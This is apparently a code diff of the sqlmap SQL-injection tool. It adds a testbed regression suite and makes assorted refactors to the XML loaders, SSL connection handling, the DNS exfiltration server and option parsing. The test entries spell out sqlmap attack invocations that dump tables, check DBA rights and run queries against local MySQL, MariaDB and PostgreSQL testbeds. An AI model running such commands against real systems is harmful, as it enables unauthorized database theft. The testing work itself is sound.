("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
||||||
|
|
||||||
|
# MySQL
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
||||||
|
|
||||||
|
# PostgreSQL
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
||||||
|
)
|
||||||
|
|
||||||
|
retVal = True
|
||||||
|
count = 0
|
||||||
|
|
||||||
|
for options, checks in TESTS:
|
||||||
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
|
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||||
|
output = shellExec(cmd)
|
||||||
|
|
||||||
|
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
||||||
|
for check in checks:
|
||||||
|
if check not in output:
|
||||||
|
print(cmd, check)
|
||||||
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
|
dataToStdout("%s---\n" % output, coloring=False)
|
||||||
|
retVal = False
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
clearConsoleLine()
|
||||||
|
if retVal:
|
||||||
|
logger.info("bed test final result: PASSED")
|
||||||
|
else:
|
||||||
|
logger.error("best test final result: FAILED")
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
def fuzzTest():
|
def fuzzTest():
|
||||||
count = 0
|
count = 0
|
||||||
address, port = "127.0.0.10", random.randint(1025, 65535)
|
address, port = "127.0.0.10", random.randint(1025, 65535)
|
||||||
@@ -191,7 +296,7 @@ def fuzzTest():
|
|||||||
|
|
||||||
if "Traceback" in output:
|
if "Traceback" in output:
|
||||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
dataToStdout("%s---\n" % clearColors(output))
|
dataToStdout("%s---\n" % output, coloring=False)
|
||||||
|
|
||||||
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
|
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
@@ -201,44 +306,12 @@ def fuzzTest():
|
|||||||
|
|
||||||
count += 1
|
count += 1
|
||||||
|
|
||||||
def dirtyPatchRandom():
|
|
||||||
"""
|
|
||||||
Unifying random generated data across different Python versions
|
|
||||||
"""
|
|
||||||
|
|
||||||
def _lcg():
|
|
||||||
global _rand
|
|
||||||
a = 1140671485
|
|
||||||
c = 128201163
|
|
||||||
m = 2 ** 24
|
|
||||||
_rand = (a * _rand + c) % m
|
|
||||||
return _rand
|
|
||||||
|
|
||||||
def _randint(a, b):
|
|
||||||
_ = a + (_lcg() % (b - a + 1))
|
|
||||||
return _
|
|
||||||
|
|
||||||
def _choice(seq):
|
|
||||||
return seq[_randint(0, len(seq) - 1)]
|
|
||||||
|
|
||||||
def _sample(population, k):
|
|
||||||
return [_choice(population) for _ in xrange(k)]
|
|
||||||
|
|
||||||
def _seed(seed):
|
|
||||||
global _rand
|
|
||||||
_rand = seed
|
|
||||||
|
|
||||||
random.choice = _choice
|
|
||||||
random.randint = _randint
|
|
||||||
random.sample = _sample
|
|
||||||
random.seed = _seed
|
|
||||||
|
|
||||||
def smokeTest():
|
def smokeTest():
|
||||||
"""
|
"""
|
||||||
Runs the basic smoke testing of a program
|
Runs the basic smoke testing of a program
|
||||||
"""
|
"""
|
||||||
|
|
||||||
dirtyPatchRandom()
|
unisonRandom()
|
||||||
|
|
||||||
content = open(paths.ERRORS_XML, "r").read()
|
content = open(paths.ERRORS_XML, "r").read()
|
||||||
for regex in re.findall(r'<error regexp="(.+?)"/>', content):
|
for regex in re.findall(r'<error regexp="(.+?)"/>', content):
|
||||||
|
|||||||
+2
-2
@@ -101,7 +101,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
|
|||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
|
|
||||||
if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException):
|
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, SqlmapUserQuitException):
|
||||||
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
||||||
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
||||||
|
|
||||||
@@ -175,7 +175,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
while alive:
|
while alive:
|
||||||
alive = False
|
alive = False
|
||||||
for thread in threads:
|
for thread in threads:
|
||||||
if thread.isAlive():
|
if thread.is_alive():
|
||||||
alive = True
|
alive = True
|
||||||
time.sleep(0.1)
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
|||||||
@@ -21,10 +21,15 @@ class Unescaper(AttribDict):
|
|||||||
identifiedDbms = Backend.getIdentifiedDbms()
|
identifiedDbms = Backend.getIdentifiedDbms()
|
||||||
|
|
||||||
if dbms is not None:
|
if dbms is not None:
|
||||||
return self[dbms](expression, quote=quote)
|
retVal = self[dbms](expression, quote=quote)
|
||||||
elif identifiedDbms is not None:
|
elif identifiedDbms is not None and identifiedDbms in self:
|
||||||
return self[identifiedDbms](expression, quote=quote)
|
retVal = self[identifiedDbms](expression, quote=quote)
|
||||||
else:
|
else:
|
||||||
return expression
|
retVal = expression
|
||||||
|
|
||||||
|
# e.g. inference comparison for '
|
||||||
|
retVal = retVal.replace("'''", "''''")
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
unescaper = Unescaper()
|
unescaper = Unescaper()
|
||||||
|
|||||||
+14
-5
@@ -83,6 +83,7 @@ from lib.core.exception import SqlmapSyntaxException
|
|||||||
from lib.core.option import _createHomeDirectories
|
from lib.core.option import _createHomeDirectories
|
||||||
from lib.core.settings import BASIC_HELP_ITEMS
|
from lib.core.settings import BASIC_HELP_ITEMS
|
||||||
from lib.core.settings import DUMMY_URL
|
from lib.core.settings import DUMMY_URL
|
||||||
|
from lib.core.settings import IGNORED_OPTIONS
|
||||||
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
||||||
@@ -615,6 +616,9 @@ def cmdLineParser(argv=None):
|
|||||||
general.add_argument("--answers", dest="answers",
|
general.add_argument("--answers", dest="answers",
|
||||||
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
|
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
|
||||||
|
|
||||||
|
general.add_argument("--base64", dest="base64Parameter",
|
||||||
|
help="Parameter(s) containing Base64 encoded data")
|
||||||
|
|
||||||
general.add_argument("--batch", dest="batch", action="store_true",
|
general.add_argument("--batch", dest="batch", action="store_true",
|
||||||
help="Never ask for user input, use the default behavior")
|
help="Never ask for user input, use the default behavior")
|
||||||
|
|
||||||
@@ -682,7 +686,7 @@ def cmdLineParser(argv=None):
|
|||||||
help="Save options to a configuration INI file")
|
help="Save options to a configuration INI file")
|
||||||
|
|
||||||
general.add_argument("--scope", dest="scope",
|
general.add_argument("--scope", dest="scope",
|
||||||
help="Regexp to filter targets from provided proxy log")
|
help="Regexp for filtering targets")
|
||||||
|
|
||||||
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
|
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
|
||||||
help="Skip heuristic detection of WAF/IPS protection")
|
help="Skip heuristic detection of WAF/IPS protection")
|
||||||
@@ -745,9 +749,6 @@ def cmdLineParser(argv=None):
|
|||||||
help="Simple wizard interface for beginner users")
|
help="Simple wizard interface for beginner users")
|
||||||
|
|
||||||
# Hidden and/or experimental options
|
# Hidden and/or experimental options
|
||||||
parser.add_argument("--base64", dest="base64Parameter",
|
|
||||||
help=SUPPRESS) # "Parameter(s) containing Base64 encoded values"
|
|
||||||
|
|
||||||
parser.add_argument("--crack", dest="hashFile",
|
parser.add_argument("--crack", dest="hashFile",
|
||||||
help=SUPPRESS) # "Load and crack hashes from a file (standalone)"
|
help=SUPPRESS) # "Load and crack hashes from a file (standalone)"
|
||||||
|
|
||||||
@@ -760,6 +761,9 @@ def cmdLineParser(argv=None):
|
|||||||
parser.add_argument("--debug", dest="debug", action="store_true",
|
parser.add_argument("--debug", dest="debug", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
|
parser.add_argument("--disable-multi", dest="disableMulti", action="store_true",
|
||||||
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true",
|
parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
@@ -793,6 +797,9 @@ def cmdLineParser(argv=None):
|
|||||||
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
|
parser.add_argument("--bed-test", dest="bedTest", action="store_true",
|
||||||
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
|
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
@@ -928,6 +935,8 @@ def cmdLineParser(argv=None):
|
|||||||
elif re.search(r"\A-\w{3,}", argv[i]):
|
elif re.search(r"\A-\w{3,}", argv[i]):
|
||||||
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
|
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
|
||||||
argv[i] = "-%s" % argv[i]
|
argv[i] = "-%s" % argv[i]
|
||||||
|
elif argv[i] in IGNORED_OPTIONS:
|
||||||
|
argv[i] = ""
|
||||||
elif argv[i] in DEPRECATED_OPTIONS:
|
elif argv[i] in DEPRECATED_OPTIONS:
|
||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i].startswith("--tamper"):
|
elif argv[i].startswith("--tamper"):
|
||||||
@@ -1002,7 +1011,7 @@ def cmdLineParser(argv=None):
|
|||||||
if args.dummy:
|
if args.dummy:
|
||||||
args.url = args.url or DUMMY_URL
|
args.url = args.url or DUMMY_URL
|
||||||
|
|
||||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
||||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|||||||
+5
-5
@@ -52,7 +52,7 @@ class HTMLHandler(ContentHandler):
|
|||||||
keywords = sorted(keywords, key=len)
|
keywords = sorted(keywords, key=len)
|
||||||
kb.cache.regex[regexp] = keywords[-1].lower()
|
kb.cache.regex[regexp] = keywords[-1].lower()
|
||||||
|
|
||||||
if kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp]) and re.search(regexp, self._urldecoded_page, re.I):
|
if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I):
|
||||||
self.dbms = self._dbms
|
self.dbms = self._dbms
|
||||||
self._markAsErrorPage()
|
self._markAsErrorPage()
|
||||||
kb.forkNote = kb.forkNote or attrs.get("fork")
|
kb.forkNote = kb.forkNote or attrs.get("fork")
|
||||||
@@ -73,6 +73,10 @@ def htmlParser(page):
|
|||||||
handler = HTMLHandler(page)
|
handler = HTMLHandler(page)
|
||||||
key = hash(page)
|
key = hash(page)
|
||||||
|
|
||||||
|
# generic SQL warning/error messages
|
||||||
|
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
||||||
|
handler._markAsErrorPage()
|
||||||
|
|
||||||
if key in kb.cache.parsedDbms:
|
if key in kb.cache.parsedDbms:
|
||||||
retVal = kb.cache.parsedDbms[key]
|
retVal = kb.cache.parsedDbms[key]
|
||||||
if retVal:
|
if retVal:
|
||||||
@@ -89,8 +93,4 @@ def htmlParser(page):
|
|||||||
|
|
||||||
kb.cache.parsedDbms[key] = handler.dbms
|
kb.cache.parsedDbms[key] = handler.dbms
|
||||||
|
|
||||||
# generic SQL warning/error messages
|
|
||||||
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
|
||||||
handler._markAsErrorPage()
|
|
||||||
|
|
||||||
return handler.dbms
|
return handler.dbms
|
||||||
|
|||||||
+24
-6
@@ -41,10 +41,10 @@ def cleanupVals(text, tag):
|
|||||||
return text
|
return text
|
||||||
|
|
||||||
def parseXmlNode(node):
|
def parseXmlNode(node):
|
||||||
for element in node.getiterator("boundary"):
|
for element in node.findall("boundary"):
|
||||||
boundary = AttribDict()
|
boundary = AttribDict()
|
||||||
|
|
||||||
for child in element.getchildren():
|
for child in element:
|
||||||
if child.text:
|
if child.text:
|
||||||
values = cleanupVals(child.text, child.tag)
|
values = cleanupVals(child.text, child.tag)
|
||||||
boundary[child.tag] = values
|
boundary[child.tag] = values
|
||||||
@@ -53,21 +53,21 @@ def parseXmlNode(node):
|
|||||||
|
|
||||||
conf.boundaries.append(boundary)
|
conf.boundaries.append(boundary)
|
||||||
|
|
||||||
for element in node.getiterator("test"):
|
for element in node.findall("test"):
|
||||||
test = AttribDict()
|
test = AttribDict()
|
||||||
|
|
||||||
for child in element.getchildren():
|
for child in element:
|
||||||
if child.text and child.text.strip():
|
if child.text and child.text.strip():
|
||||||
values = cleanupVals(child.text, child.tag)
|
values = cleanupVals(child.text, child.tag)
|
||||||
test[child.tag] = values
|
test[child.tag] = values
|
||||||
else:
|
else:
|
||||||
if len(child.getchildren()) == 0:
|
if len(child.findall("*")) == 0:
|
||||||
test[child.tag] = None
|
test[child.tag] = None
|
||||||
continue
|
continue
|
||||||
else:
|
else:
|
||||||
test[child.tag] = AttribDict()
|
test[child.tag] = AttribDict()
|
||||||
|
|
||||||
for gchild in child.getchildren():
|
for gchild in child:
|
||||||
if gchild.tag in test[child.tag]:
|
if gchild.tag in test[child.tag]:
|
||||||
prevtext = test[child.tag][gchild.tag]
|
prevtext = test[child.tag][gchild.tag]
|
||||||
test[child.tag][gchild.tag] = [prevtext, gchild.text]
|
test[child.tag][gchild.tag] = [prevtext, gchild.text]
|
||||||
@@ -77,6 +77,15 @@ def parseXmlNode(node):
|
|||||||
conf.tests.append(test)
|
conf.tests.append(test)
|
||||||
|
|
||||||
def loadBoundaries():
|
def loadBoundaries():
|
||||||
|
"""
|
||||||
|
Loads boundaries from XML
|
||||||
|
|
||||||
|
>>> conf.boundaries = []
|
||||||
|
>>> loadBoundaries()
|
||||||
|
>>> len(conf.boundaries) > 0
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
doc = et.parse(paths.BOUNDARIES_XML)
|
doc = et.parse(paths.BOUNDARIES_XML)
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
@@ -89,6 +98,15 @@ def loadBoundaries():
|
|||||||
parseXmlNode(root)
|
parseXmlNode(root)
|
||||||
|
|
||||||
def loadPayloads():
|
def loadPayloads():
|
||||||
|
"""
|
||||||
|
Loads payloads/tests from XML
|
||||||
|
|
||||||
|
>>> conf.tests = []
|
||||||
|
>>> loadPayloads()
|
||||||
|
>>> len(conf.tests) > 0
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
for payloadFile in PAYLOAD_XML_FILES:
|
for payloadFile in PAYLOAD_XML_FILES:
|
||||||
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
|
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
|
||||||
|
|
||||||
|
|||||||
@@ -343,7 +343,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
|
|||||||
# e.g. %20%28%29
|
# e.g. %20%28%29
|
||||||
if percentDecode:
|
if percentDecode:
|
||||||
if b"%" in page:
|
if b"%" in page:
|
||||||
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
|
page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
|
||||||
|
page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)), page) # Note: %DeepSee_SQL in CACHE
|
||||||
|
|
||||||
# e.g. &
|
# e.g. &
|
||||||
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
|
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
|
||||||
|
|||||||
@@ -83,9 +83,9 @@ from lib.core.enums import WEB_PLATFORM
|
|||||||
from lib.core.exception import SqlmapCompressionException
|
from lib.core.exception import SqlmapCompressionException
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
from lib.core.exception import SqlmapGenericException
|
from lib.core.exception import SqlmapGenericException
|
||||||
|
from lib.core.exception import SqlmapSkipTargetException
|
||||||
from lib.core.exception import SqlmapSyntaxException
|
from lib.core.exception import SqlmapSyntaxException
|
||||||
from lib.core.exception import SqlmapTokenException
|
from lib.core.exception import SqlmapTokenException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
|
||||||
from lib.core.exception import SqlmapValueException
|
from lib.core.exception import SqlmapValueException
|
||||||
from lib.core.settings import ASTERISK_MARKER
|
from lib.core.settings import ASTERISK_MARKER
|
||||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||||
@@ -584,15 +584,14 @@ class Connect(object):
|
|||||||
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
|
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
|
||||||
|
|
||||||
if refresh:
|
if refresh:
|
||||||
debugMsg = "got Javascript redirect request"
|
debugMsg = "got Javascript redirect logic"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if refresh:
|
if refresh:
|
||||||
if kb.alwaysRefresh is None:
|
if kb.alwaysRefresh is None:
|
||||||
msg = "got a refresh request "
|
msg = "got a refresh intent "
|
||||||
msg += "(redirect like response common to login pages) to '%s'. " % refresh
|
msg += "(redirect like response common to login pages) to '%s'. " % refresh
|
||||||
msg += "Do you want to apply the refresh "
|
msg += "Do you want to apply it from now on? [Y/n]"
|
||||||
msg += "from now on (or stay on the original page)? [Y/n]"
|
|
||||||
|
|
||||||
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
|
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
|
||||||
|
|
||||||
@@ -788,7 +787,7 @@ class Connect(object):
|
|||||||
kb.connErrorChoice = readInput(message, default='N', boolean=True)
|
kb.connErrorChoice = readInput(message, default='N', boolean=True)
|
||||||
|
|
||||||
if kb.connErrorChoice is False:
|
if kb.connErrorChoice is False:
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapSkipTargetException
|
||||||
|
|
||||||
if "forcibly closed" in tbMsg:
|
if "forcibly closed" in tbMsg:
|
||||||
logger.critical(warnMsg)
|
logger.critical(warnMsg)
|
||||||
@@ -1222,7 +1221,7 @@ class Connect(object):
|
|||||||
|
|
||||||
for name, value in variables.items():
|
for name, value in variables.items():
|
||||||
if name != "__builtins__" and originals.get(name, "") != value:
|
if name != "__builtins__" and originals.get(name, "") != value:
|
||||||
if isinstance(value, (int, six.string_types)):
|
if isinstance(value, (int, float, six.string_types)):
|
||||||
found = False
|
found = False
|
||||||
value = getUnicode(value, UNICODE_ENCODING)
|
value = getUnicode(value, UNICODE_ENCODING)
|
||||||
|
|
||||||
|
|||||||
+13
-13
@@ -49,16 +49,16 @@ class DNSQuery(object):
|
|||||||
retVal = b""
|
retVal = b""
|
||||||
|
|
||||||
if self._query:
|
if self._query:
|
||||||
retVal += self._raw[:2] # Transaction ID
|
retVal += self._raw[:2] # Transaction ID
|
||||||
retVal += b"\x85\x80" # Flags (Standard query response, No error)
|
retVal += b"\x85\x80" # Flags (Standard query response, No error)
|
||||||
retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts
|
retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts
|
||||||
retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query
|
retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query
|
||||||
retVal += b"\xc0\x0c" # Pointer to domain name
|
retVal += b"\xc0\x0c" # Pointer to domain name
|
||||||
retVal += b"\x00\x01" # Type A
|
retVal += b"\x00\x01" # Type A
|
||||||
retVal += b"\x00\x01" # Class IN
|
retVal += b"\x00\x01" # Class IN
|
||||||
retVal += b"\x00\x00\x00\x20" # TTL (32 seconds)
|
retVal += b"\x00\x00\x00\x20" # TTL (32 seconds)
|
||||||
retVal += b"\x00\x04" # Data length
|
retVal += b"\x00\x04" # Data length
|
||||||
retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -114,9 +114,9 @@ class DNSServer(object):
|
|||||||
|
|
||||||
with self._lock:
|
with self._lock:
|
||||||
for _ in self._requests:
|
for _ in self._requests:
|
||||||
if prefix is None and suffix is None or re.search(b"%s\..+\.%s" % (prefix, suffix), _, re.I):
|
if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I):
|
||||||
retVal = _
|
|
||||||
self._requests.remove(_)
|
self._requests.remove(_)
|
||||||
|
retVal = _.decode()
|
||||||
break
|
break
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
@@ -165,7 +165,7 @@ if __name__ == "__main__":
|
|||||||
if _ is None:
|
if _ is None:
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
print("[i] %s" % _.decode())
|
print("[i] %s" % _)
|
||||||
|
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ except ImportError:
|
|||||||
|
|
||||||
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
|
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
|
||||||
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
|
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
|
||||||
|
_contexts = {}
|
||||||
|
|
||||||
class HTTPSConnection(_http_client.HTTPSConnection):
|
class HTTPSConnection(_http_client.HTTPSConnection):
|
||||||
"""
|
"""
|
||||||
@@ -36,6 +37,12 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, *args, **kwargs):
|
def __init__(self, *args, **kwargs):
|
||||||
|
# NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158
|
||||||
|
if hasattr(ssl, "_create_default_https_context"):
|
||||||
|
if None not in _contexts:
|
||||||
|
_contexts[None] = ssl._create_default_https_context()
|
||||||
|
kwargs["context"] = _contexts[None]
|
||||||
|
|
||||||
_http_client.HTTPSConnection.__init__(self, *args, **kwargs)
|
_http_client.HTTPSConnection.__init__(self, *args, **kwargs)
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
@@ -54,11 +61,12 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
|||||||
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
|
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
|
||||||
try:
|
try:
|
||||||
sock = create_sock()
|
sock = create_sock()
|
||||||
context = ssl.SSLContext(protocol)
|
if protocol not in _contexts:
|
||||||
_ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
|
_contexts[protocol] = ssl.SSLContext(protocol)
|
||||||
if _:
|
result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
|
||||||
|
if result:
|
||||||
success = True
|
success = True
|
||||||
self.sock = _
|
self.sock = result
|
||||||
_protocols.remove(protocol)
|
_protocols.remove(protocol)
|
||||||
_protocols.insert(0, protocol)
|
_protocols.insert(0, protocol)
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -105,7 +105,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
|
|||||||
